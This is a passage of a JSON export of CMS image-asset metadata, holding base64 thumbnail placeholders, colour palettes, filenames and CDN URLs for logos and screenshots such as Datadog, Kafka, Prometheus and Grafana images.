1zXBwqxOMW51wWHEWfiq+DDWHW+Fn/TXQZzggN86M6ljer4rm+pWR3KFsKSvNjDgVQjE0CTPIbTqGJu0VG2v8XMVVuHe+Fx7+0g9XqzvwdkMXPGp5Dk/uuaCz9RVcMLdjZdY50CZYQR3DgSqa8ysiufZsCavLimDDRGCqQW5zMjLiObClDpvZX2H05RRMDM3gyHM3TI150DP9Dr0zPuz7/TU6qu7Bvi+douwgEBVSzpMtYZ1ZEWwKtSC1l6EJ7t1UC9WVt6Dz7iC+eDIGw88m0dX3Bge7J3DmjRcHOsaQGO9geVptQLImlheBoJBymCVhezPDWaMIvG6Q26YMchsa5DaozD6DDSceQNcDF44OTuGLp+P47I9RnJ7w4tirabxi60Dj1kbMjw9MiP8CujPD2RYROMTQxCcCGRmBPeurQTh4Awc6RtE39xd6Zt4F3jvvnzjUP4k3nd34464rWJRkC0yojubfAyNYX2Y46xKBcwxN5gNAmoA45fcFzfjgYh/OuufQO+vDqXEPvhmZDfzhncYedBy5j0dzL2LF+nrQJghB4HxmOOv9CCjC9DICFRtrsebwbXzZNY6jg9PY3TaET++7sKttCLvbhrGz1YX3z/ejzXQXSlNr/wf8RzL9HvhtAHhHNEZ0Gvsfvw6YM+6awZEBN/Y+eo1tlwbQfqgVytPrQBn5seQWg5y4g5L3bqpFds9VeHi5H0deuHHo2WTg78QYiW7frO9CvuIm/lB0GUTZ5ekOUEXzIvCDKYHYBCUfyzsHrU09ODn6FkSXRbmdd19ha1OvmEE8lncBd6+rg4oN9ViZ1QSMrC4I7MmKYI1iOaQY5MRpkBOPCD2ubYK2S33gfevDieFZuN3QjY0nHqJ1/y08omlG0/ZGMG5rRNP2s3Dw67NQvKYGlVG8JytiIdgGmoQxNNEZ5LZ2hib+7zY7wF55C7raXNDz2zA6qlrhaG4zVGmawLitAfZ+UY+7152Gss9r4ZvPbJCz1OxXBldPIq6eTAiUg4EmJoYmfQxt8x/YchrZPdfAuv8GmHY0QFmaHUpT7VC81gaFiVYQ1y43jkd1DOdXRXF9ykjOlC1lJZkSNoQqoav/W1+Pxfoy0HZkZHYsSSaB+ir41IK6FWbMX27G3GX8h/pSR3MmZSQXp5CwofnLCUUxchtVusMhmrOIkQULljhLU4Se4rVW987V1oWCtc4XrLL4tAlmd168uScnjndqYnmdOoaTqKLYRYrFJymlWLCMjFB6GaHKUwWqXGZfOAFC4ASUJAstu9YEToC3MNHi1a20uLQJ5pa8eN6YG8enaJbwYeoYPiR/CUcpIzlKIT1F/Q0j7bcFFRxzywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#472d61","foreground":"#fff","population":1.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#48147c","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3cad","foreground":"#fff","population":8.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0a5c0","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc8cdc","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#785799","foreground":"#fff","population":3.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3cad","foreground":"#fff","population":8.12,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-datadog.svg","path":"images/sczeoy4w/production/76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48.svg","sha1hash":"76cf7377b7a4f8896aeabc24327b91cf78d9d44b","size":3404,"uploadId":"C4e4UljuJVOVaEdDiZdiozRqNuhlLsgW","url":"https://cdn.sanity.io/images/sczeoy4w/production/76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48.svg"} {"_createdAt":"2022-08-12T12:08:28Z","_id":"image-63684a6fd59026823bf41d591b050d248c020c38-471x272-svg","_rev":"Dw0aHV2Vi2aVE96DWOSX2p","_type":"sanity.imageAsset","_updatedAt":"2022-08-12T12:08:28Z","assetId":"63684a6fd59026823bf41d591b050d248c020c38","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7316176470588236,"height":272,"width":471},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADoUlEQVQokR2OfUzUdRzH3xewQQbkxtbTH44U+Xx//A4OOJCHi4dBhghUnDnECpIMIooHoYBxd7/f/e5AERy4uywaUqTQXFnLtNZQYaECIvIw5ClTGFwd2H89WeP7a3d/vbf33q/3XpgiGXNkwTTJmGYyLpMdf4qNcO+ox6/B72hc/qU+v20p83NvrfBzP1Hls76tTuMOq8ffEQ0YIruXmSAZ82TBJMnAKpmwTCZMMBlrZMKKYNKsCKbHVlnTsy6t2eCOt720kXL04EbasUJ3gu1Fl9actMqaQlcE0xbPdo1MmGES/qB67BFOA7MkYYmZMRGueEz9Fpll+11mLrxHps7lKPmSK6tjbOONnun1otPTrt0nRpe10ne/kOnEz8yyf4FZtt0hi6+HXWAWLIVb4DUbYHaMMesjk0wOn2FS0x0mjc4L0u9Lcc0P77/yMV+rOaeuvvuFet/4EV/UNz+cY5YHs0wanmFS7SSTQ0eYVdPBWjHOZGCUFNwgBddJCRolpfgms94aJ+t/t2OPqrPZTnWuoJvPF/Xyxbf6+GJxL59O71BvRSjqOFn/HWPW4RFSjNfIFnCdbBghBRgkOwbJhh+Y9ORlUqxXyeYeJJs6nNC+OXHgMz5x4FN+M6+LT73Zx6cO9/MbGQ4+pG3ZHCS7epVsywNkrb7ILFsHSMEVz+E5ZsZZ1ogu8UhIn9BUe56UuxfCm/mlqDY+mNfNRw7185/ye/hwQS+/dvAMv5J5in8f3c4vsJbNL0me+VxoLHGIlYGfCDXoZQ2AJJaiTGdERXShv12syHAI9X09ZF07Sy3/nDc4Nn8sOKNezO5WvzY41W9ST6lfJTs2+3XH/+oWpHsdQl2XWVuaUBTzsl92bAqORL4O5Ma+ABUqKFmneTU6P6Q68lCuFFF18rjQOPShvnmxO7XD1RXftuEUmtcdEba1TlGePyY2DDSJFa3lka89vy8m5/Hg1FCoIQt4Ls4AoBow6nKADEBMjNLs1mcGF+iMUYcji/ZX6t7+oE5X2fa+WOWsE95zVgvlreURJbXF2kJjvi5PTNOnBrIErQZGwBBrgPrtbUD1WfcalkTu86YhMxyhyTt89XHxgem69Kf3RGXtzNXliLnROeKe2KywtLi0p2J26QNDk8J8ygx7vUxmTAo6n6lB+/YKICkpGbACO/Pjka5PwUkye0fIAgA9ApyPIig/SBOQ6a9BnqcrAeoA1VeFzKqRoN/lKaHiARITk/E/KeKLSeQTl5UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c2c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f0435","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b45289","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d49cac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f18bcb","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45289","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f40c74","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"apache-kafka-tilted-logo.svg","path":"images/sczeoy4w/production/63684a6fd59026823bf41d591b050d248c020c38-471x272.svg","sha1hash":"63684a6fd59026823bf41d591b050d248c020c38","size":3744,"uploadId":"wDPorVC4WJrb0Iys5gxysANtGdrmxCp1","url":"https://cdn.sanity.io/images/sczeoy4w/production/63684a6fd59026823bf41d591b050d248c020c38-471x272.svg"} {"_createdAt":"2022-08-15T15:13:55Z","_id":"image-9980731fef994f6b3eaae75f44d49c85b5e57008-58x58-svg","_rev":"AItYcVmwODXGfe9M0Bs35S","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:13:55Z","assetId":"9980731fef994f6b3eaae75f44d49c85b5e57008","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e2MfFC$P1J=K0N-AWoJ8sojZ0~Nu03E#WV|_sn1wNb],0gfPE#sm1c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC/ElEQVQ4jW1VTWyNQRSdpxoLQjQSsbBhUSS88xILiZ8omgjfGbVAusBOCBERVpYtscAKC4lgLUQsJBJFLISFICp952v8pFgQ8RetFn2V+819bZXFzcw3c+fMvWfOvV+oshxEBBVjuSSiSUSLiA4Rt0X0ifgk4quIt77W4T5NIkrK7DyCsnIoJvmGRTY2imgWsUfEVRG5iC8OeF/ESxE/fM32rrhvs52tZosLrNAby3UwiDgq4qmIfhG/Rfx0sGMibjrYdxG/RAy4b6efbcw3FhEWaTY7WK+IYQd7L6JHxCURW3z/rohHBpzHyogD9zpoczWWS8F52OO3/XbHQREPRJwVcVDEUhGbRBwp1iJeixjJY6Xmlz91jKbg5Bpn/XlETSwA7QEuitgsYpmIOZ7FKhHtIrryIrpKTREjTpFx2hI83NxvtHTN4ZWIQyLmipgmYoqImSJmi1gg4oSIj3Z5PnbGMDoM8I6TXU/BHB6KaFOGKdVockCpmtlLYrKI6SJ2/SeILyYpA3wnYsi4y1P4w641o2JS0lgl9GSV0GvgKVpLuzsBoua8D5lOg2trWCm6ny6LeyLoh8MEq0fY7dwN5cZlCmQguJ7so+bRmt5OO6DxF2SRxUoaiVkidog4J+KGiDcFYBwDfOvhjng1HBexRsR8EVMVMUlEgyIaipGY4Q/T4g/6IuffKRtfnx3wm4jrHoFJZIWI5RPM1laK2C7imkmsAIz4rJgepWP0xVLab0ScF3FAEXsVsc/HsbntJZ8+P5NkE5NsWlyU/f5aBnhSRCZirYhWEevcWn3N9k4l/vCPsMeXnhH7QcRlEYdF7BSxTcRWt22+dth9PviZsdLLrZ+lsur0Qh90Th97RZjm2tzaPfon7jP4V3NguRSec8n49mUbdptp05rqBU9znpvNrcZtz3zq7atsGD3ZktRgu1k0x/EN1vgw4VrHOSNiv5vNbc32zGd3vcE+W78wNdjRCsgqwfrZhF9Alwi5Ps2kiFu+t7r+C+hJWQb7nfwBzDns/tW+7RkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a1e24","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a1d11","foreground":"#fff","population":4.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d84e32","foreground":"#fff","population":16.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#901408","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44938","foreground":"#fff","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f4d45","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d84e32","foreground":"#fff","population":16.35,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-prometheus.svg","path":"images/sczeoy4w/production/9980731fef994f6b3eaae75f44d49c85b5e57008-58x58.svg","sha1hash":"9980731fef994f6b3eaae75f44d49c85b5e57008","size":895,"uploadId":"aqLQjBEODWcbITejZFbBrxewMgdfkbyr","url":"https://cdn.sanity.io/images/sczeoy4w/production/9980731fef994f6b3eaae75f44d49c85b5e57008-58x58.svg"} {"_createdAt":"2022-09-30T19:49:51Z","_id":"image-f1c2b209fe50b7a45543188e4e8e5e60318cc038-1600x1137-png","_rev":"vDQRRYe9nRreptIRp6BduS","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T19:49:51Z","assetId":"f1c2b209fe50b7a45543188e4e8e5e60318cc038","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfPPioAG9FTJDiysr?xZxaV@8wWBtms.g4l9jFi_f6Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD30lEQVQ4jX2RbUwcRRjH98NB4YMxfvADtl+sWmpNSdSIRmia5iKYGFMTbYVYLbTUGCmHvJ0gKNorCEI4W7k7rGnKW4sc1FSiItbYRiRRWyyhcMfLleP2DjjCcS+7s7uzOzvPmL1C/OYk//wnk3l+zzP/4SJRJdW3tPbwbzf/3D0weG1PT787s7d/KLOnz723t39ob0+fO7Pv8nDm5YHvnui60P3I5OSdrI2NDWssFu+XJGmQEPItpbSNEHJAFuMmLi7qaZ3Oi/uOFJ4oOpj/ui0n72hrTn5BS05+geGtL+YVtOS+XNj60msnPn/lzfcbG1scHZNTMxORzc2wLMsRXdcjADBOdHoUaSyVi8RxekVl7YHCt0q6T52u81s+aguXN9jXLPUdYUPlDfZwxSfnwlabc+3jtosrXX0j67en55TNWJypqsoopYzqupcoqFhe/CONC4UT6VVVH5rPnGke+eHH68o/0wts8u4i+/uOl92ammNTs/fY3bllNrvAM48vyHzLa2x1PQIJQaQYY0oIASJGlsn8r/X61+YMjl+JptfWNZidTtf3Ho9HVjBmApJoNBYHhBDoqgY6JkAM13XQCEmeC4IAkiSBoihMXZsTyY32K7Tl0We44BbQ4XSNzM56ZFnBLC5KsBlLABIRqLICOCGBlEBGMWCMQRBESCQSgNAWMDRNyFjjKG3amcvxoc20GmvdIYfDec3j8cpGLkahKIhMRoipssI0rDJN1RghhGmaxkSEWCJhTCiDcZ+szhB9G7jgWzUVFZ98/vz5r9zbQBUrIIkCKAiBhlWglML2IkRnCEnMeLLRWNd1BuseQq9/NkqbduVypZY6zmw2Z9nt9j6v1ysZE+AkUAQZIVAxTma3DTU+QRBEFo1GmZEhxgpTlv4ieKRmlNoycrnw+gaXnZ29z26398zPzyOjI1HVJExBEmgYAyUEgFJgYBhN5ngfhiESDrF7o04S/tL8E6tPz+Hc7qumvLy8p2022+Xx8XE5sBxg/iU/XVzwgW/RB/4lPwQCPPCBIPB8EPhgCAJ8EJYDPPgDQXpr4ib80l6seap2jeL6Bw9yly71ZpSUnDKXlp6+0N7ePtP9jTM04PpCHuy0Mbchx1k25Gxiw64mNuQyvJkNd93XkKuZ9bZWMXflIXq78rEb/rPPvcp1dJzbWV5e8ezb7xx/o6io6N3m9w43XS3L/n3MkhUcs+xf+bls/4rhyf2Wj1my/lPZUysT5Y/zHuvu4ZlPX8jnaqy1prLS0h3Hjp9MO3bkcPqc5aEn41WpH6DqFAeqNrlQtcn5/0pxSTUpnZJ1R1nM+sCefwHzADIZwSPB6wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67543f","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082663","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87506","foreground":"#fff","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c59fa8","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ace4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#965759","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87506","foreground":"#fff","population":6.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-mysql.png","path":"images/sczeoy4w/production/f1c2b209fe50b7a45543188e4e8e5e60318cc038-1600x1137.png","sha1hash":"f1c2b209fe50b7a45543188e4e8e5e60318cc038","size":75223,"uploadId":"lFR2kDZTh8eaamxPG59HrecBk4RKJbEi","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1c2b209fe50b7a45543188e4e8e5e60318cc038-1600x1137.png"} {"_createdAt":"2022-08-15T15:15:21Z","_id":"image-ecdcd916ca571e2afc90fc682dda9b08d68e07c7-58x58-svg","_rev":"rNS8YJd9MRCX8QHFL8V7rb","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:15:21Z","assetId":"ecdcd916ca571e2afc90fc682dda9b08d68e07c7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBNr$k5R00%#2s{LRPO@yCM{00%M4RQS9[%gtlD%MJt,3AVE9t%~xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFFUlEQVQ4jWWUW2wUVRjHT4EQEhJ9IQid7wy0O3PmzMyWlhYVGoFIwGJIUdAYaQQVtUCESDRpgvCixiiJMSGaYAhGJCCoaMQniJTu9rLttu6y3e1eetlelmW3u9MLpVBobc+nsy2ExKd5++U/+f2+QzpAIx3ASQCKSBdo87pBWxIHtqUX2Jf9wOoToKaTknr/lqTeS0vKwKCkXMmAcjQLarklq08MUTUvtayQWKCQO1IBIWHgxLeckShoC2OgGV2gHeoG7XIcWE8fsLEBYFMJUGeSoM6kJPVBWlJHMpISyeY7frIkx1uW5CgYkpQFkysdZEhyENKVz0gI+MIw8LIo8OMx0Dq6QJvoAQ3jwLAPGA4AwwSomAQVU6DioMxEZqU+npWZ1wLliCU5tCFwzE+DQsgNyvOCwI0Q8ONh4L1R4NMx0LCLaqKHaiIOTPQBEwPARAKYSIIq0nqpsNZvQav42aksVUOW5KixQJEte6Ef9CUB0A8FgXeEgE+HKRdR4CIGmugCDf8HlVRMr3lODO95Vwxt3oaZFXwqm+/wWKDssiTHYuIDfbMf9MsB0CeCVMcQcBEGLqKUY4w+gmKcathHGSYKnSL9wnYcrj4oss9vFYMyw4yk3M6CcjorKcWkDYwvfKD3+EHHANVFEHQRohznlmKMcsxBZY79Rc9gemcVDh/9RAwfrsH00+tFSlJEGtSZDCi+jKTsJ63UcLdR47aPGugHXQSojkH6CIq5pTaQl2Jq7wG8c/ES3vvrOo4e/1qkyjeJpKQKW1Qa1PSgpJwhLdRIeakx2UYN9FFD+OkcFHQMUX0WusLAvk3bcOTUDziVvIXTmSyOX/hVpLZUPhRl27+TllQP8VDzfgs1ZrzUwDZqiBx09vftpTloZ0k53vqgBu9er8fp8XGcHhnFsTPnMbmx4qF9Oyk7/ihpouaEh5ozLdRELzXEHBT91MAA6NjBy7B/dzWOXvoDJwdu5mB36+oxXX0I+/TSh/YxAWwiKakR0kDNRCM1Jz3UxBZqCi81bSj67JVKCXbvfAOHz/+Sg/2TtXC81oWpgx9hvHidmLMv5uIfSwBzk3pqXm2g5kijbKJHNkUzNdALuvApqzH2chVaZy/ig4FEDjj6+5+YeOd97Fq1FjspF4/Fj33Akv3AviNu6jzmlp2RBmqKRmqK5oJVwle6ATvf3C+y537Ge+Eojnv/xsETJ7FnRxVG+JrZpHKdcrtT0QPadByYpxfYHuKSneUu6rzglovGPeZabK98XfQe+0xkLv6GI1euicHTZ0V832HsWLcZ2wtXiSBwMWd/9qKoZndqdYN2Ig5MI67CkifrwHzbXVjS2rZp+1T3x5/izW9Oif7PvxKxvQdF+4YXhY+VPW5f5Dq1L8pOCvhEDLSrnaBVdgNbRLwVO/Jq8/UCl6P0SEt5Rcj/UtWUf+ur2Fq2UTQrq0ULNYQXHtmf7RRyF2Wf6UQYeFMEtOoYaE9FgBNyo+IVcm05X1C3slhzOVbXuAtLmtyy83Y9GDON1LBFYYucS8ru1I7fvqjpAOhWEPSrIeDvhYHTKLB5IaoTcm2pSs4R+8vm1y7T5DrJ2OWizu/dstPXIDvTjbI5Phu/OeGlxlgbNW76QPfcAP1EAPTKIPClIeB5tYVq7uUnsW9PkdplGmnf9hoJ7fuQuB2li11yUbGLOg/UU/PHBmo2N1Ez5qFmpIUarlZqnGwDY7cPdOYHfVF7PiMRquVe/vB/C/8F0LgquJ4FhqsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#492421","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4140c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef1827","foreground":"#fff","population":7.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b1d2e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e48c9c","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65c59","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef1827","foreground":"#fff","population":7.64,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-jolokia.svg","path":"images/sczeoy4w/production/ecdcd916ca571e2afc90fc682dda9b08d68e07c7-58x58.svg","sha1hash":"ecdcd916ca571e2afc90fc682dda9b08d68e07c7","size":1643,"uploadId":"LVJjh5UP5sYElEImakcjwkxeA99WsTId","url":"https://cdn.sanity.io/images/sczeoy4w/production/ecdcd916ca571e2afc90fc682dda9b08d68e07c7-58x58.svg"} {"_createdAt":"2022-08-15T15:17:48Z","_id":"image-1616b0a41945c6451134ecfbd01b0c406a1eee91-982x627-png","_rev":"AItYcVmwODXGfe9M0BtOhy","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:17:48Z","assetId":"1616b0a41945c6451134ecfbd01b0c406a1eee91","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5661881977671452,"height":627,"width":982},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTklEQVQ4jVWRW28bRRTHp6T1JVSNE1/2Ojszu7PrtTde52bHNDJNHdtCahM7REh9Kk8VREhBfAE+AA+EcpEAAYpI4odKpOImIeCBx5o3UCtZ4qnqY6XCQ23HCM9Bu1aKONJP52jOOf/5jwYNP8u9OrrT+Gn03Y3u8Psbrz/4qJJCCD2XuojOI4SmzsBYm2o261M7O9tTOy//n+3t1rmtrU3Ubm0hNDxY/vjvb155OPrx1pP7X2x/dbPBbkWi8a14fLoVjcVbkWisFYtPt2RZafl+sVUql1vl8uoZ7dVK5dra2lpxff3K8wuLywgNj6r7g5N279Hh5ujTtyqPyx7+fSaR7M4k5rqXZmZDglqS1C4zede23QmOe8923F/dXP6XhYXFt9cuX2YIRREaHl+p/vZu+Z0PX8v/0a5a/1CsiWRKHidTUkgqo4zTGWWckdSxouIQWdHHkqyNZUUDHZOnruselUvLBRTEX5940Z1Kqu5z6QeC9ZGqEZAVLNKSCmlZBUnTIaNqkFZUyKg6ZBQNUhklIJxRNH3AOe8sLfp+KAiwj86dj61cSiRPZBWfGtQC3WBCUnUhabqQiSEkAwsJY6EQIhSDTHqqLmQNg26QAefW8YKfmwh+fvMiisdjpcTs3F1Vw6fU5ECYJXSDgmZQ0CkD1aCgGgQ0EmQKKiZBT+iEgUHZwOZmp+DxiWAQkUi0NJOYO1F145RxGxi3hcEsmMABUxMMyoFZWaCmA5haASJ4DaFswC3a8bLEDz9luWijSDQWCiqacUoChyYXwQJhXAR1kLN2QSwVKsKfXxEWz4V9nZiACR2YDHdcrv3n8MKFyDPBiaNwOHA5gVrC5fNiyVsVxfyK4FZOGMQSmDDABukzoh5zmvI7Pz9GaDToo3h8upSYTd5VdTJilgOE2YCD22mABYETQjlYVhaY6QChFlBmATM5MEYHJlE6Dk35AIDQwcGX6Wr1xZe47XztuPk/vUJxkPf8vuPmn2Fnc33HzfWdXD4km8v3817hqTfvDzxv/sli0bvTut6sHR4eJdH+e+9Xd3ff2Lt2ffPbjXrjQb3R7G3UG71ard67WtvorV+thfmM4Ly2UQ9n6vVmr9Fo3m+32ydv7u3t3r79wQv/AkozRYdf2CM8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#645440","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2004","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8aa99","foreground":"#000","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8aa99","foreground":"#000","population":0.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fadd91","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8552","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69808","foreground":"#000","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-grafana-dashboard.png","path":"images/sczeoy4w/production/1616b0a41945c6451134ecfbd01b0c406a1eee91-982x627.png","sha1hash":"1616b0a41945c6451134ecfbd01b0c406a1eee91","size":285114,"uploadId":"0qD4hhq2fWmfAlPqURc68WsJAAxShosS","url":"https://cdn.sanity.io/images/sczeoy4w/production/1616b0a41945c6451134ecfbd01b0c406a1eee91-982x627.png"} {"_createdAt":"2022-08-12T11:54:17Z","_id":"image-08d25148bafbda75db0144d25210cc10efe4e437-1200x1200-png","_rev":"NJpUIsPDMjlN4Sj0uLpQsJ","_type":"sanity.imageAsset","_updatedAt":"2022-08-12T11:54:32Z","altText":"Man arranging jigsaw puzzle","assetId":"08d25148bafbda75db0144d25210cc10efe4e437","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcSAAAXEgFnn9JSAAAFrElEQVQ4jVWUezTUaRjHv0R7dlNpU+qsVZFrNpe9dNuiVTq7bVtSiKJIiFQYJV2X7Z6kC6mcbJfNJN10xwgxm5gZY+Y3rhHb7bhkCjMZ77Nnps5evue85/3jPe/nfJ7vHw/wMRQwDrTaFORjDAr8EgPBY6FeMxZd4eYoW++Ksq3T0LtrKFiSITQHRuBZ4TFwnAIKuQwKTg6O43RHF7ZsIvoDLECBY0H+5lCucACtAVQhZqhY4wEigIjQ6wVQGEDfAXQNuE+EttoK3ZtUUgmZTAYwbztofG1BfhNA/pbI8Y/AC6+poJARgzSho0aoI0dOVG8wcnrPM3QeSNC3oh34nBJgUPCacJsI7RXnkc8/iqLcNIhEIoC87UDeVqDlFiBYggK+gGalxXBV8PgpvaFmkb0Ro4/3xJjwexJM+O93DUvr32u8vifdya1VcHSyokbkzHGcuUwqMaitrYNCoQBosQnIdyIeb3QELTODxs/KpG+Flde7VRbnlWvMa5XrxrxRbrPuU6a69fWcdOtWZv1c//rqupstJZlZtdKKdDnHecmqRUN1fSq4D4Z9/vagXyzBfGyMev0mLVSucrzZFTa562WkPWvZMoVeZgRS54PD1PHoDLU9usAay6/01Vfc6VRIK4UyObdWWi0xNdMHGhqatB3agwwB8rXVV/tMcnznP/l0x9qZna3bPUmU5McKjm5iwhtZrKlayJ63NLCmhjrG1YipVlzaXyt51CivER+ultY4CUsKBhWWPAHU3l+BPB2g8XUa/NbXyaNzuXNeU5SHsmh3xEB28g6WkXqIZWVlMaFQyJ61trKnzS2sViZmTeUXWGtxsvKp8Fw2VyWY+qikdBA5A3jlMwPl3gFoWeZu0Ozrale3Ynbsg1DP8pQNoX2/bo6jA7t2ssy0NPZQIGBymYzV1zeQQvqYPSvYTV3XFyiVN3861X4/yJYAaPgTgMPhh4AQwr6w/Xr74jKGCIIip18JCjmXHB2jPLZ7D10/kc4KL1yiwrxbrOThQxJLqlmN+PFAoyCFOq4vUKpybE6yy6OterJt0Me3BRIvFwJ7CIW5ewflFl4bXrRz6/RrGzeeuZRy5E3J3XvUUlTKmvPus6obt6lcUMQqnzxh4qonTFaarWq9HdaozHXZP5BjatF1AnjLtwdGrO4EvfBCe1ncp08fHza7fSxhxsn42IP8s2efy4V/UvetfNZ5JJM1p59jsut3WM2dB6y6qLi7qvROmexW/L5X/G/naXJGG79OBTov2QKkiIJKsllPLYo2fidNnHA+Y9dkXnTchlOnTnOiew/oTXI6qbwjqCuQR3/tTKG2xNTO+rTf80ry8kNyci/aF2d4DqWrRvraDlvPTQKYlKcD9oujjYnbYnE3e6t1QHDEyui4La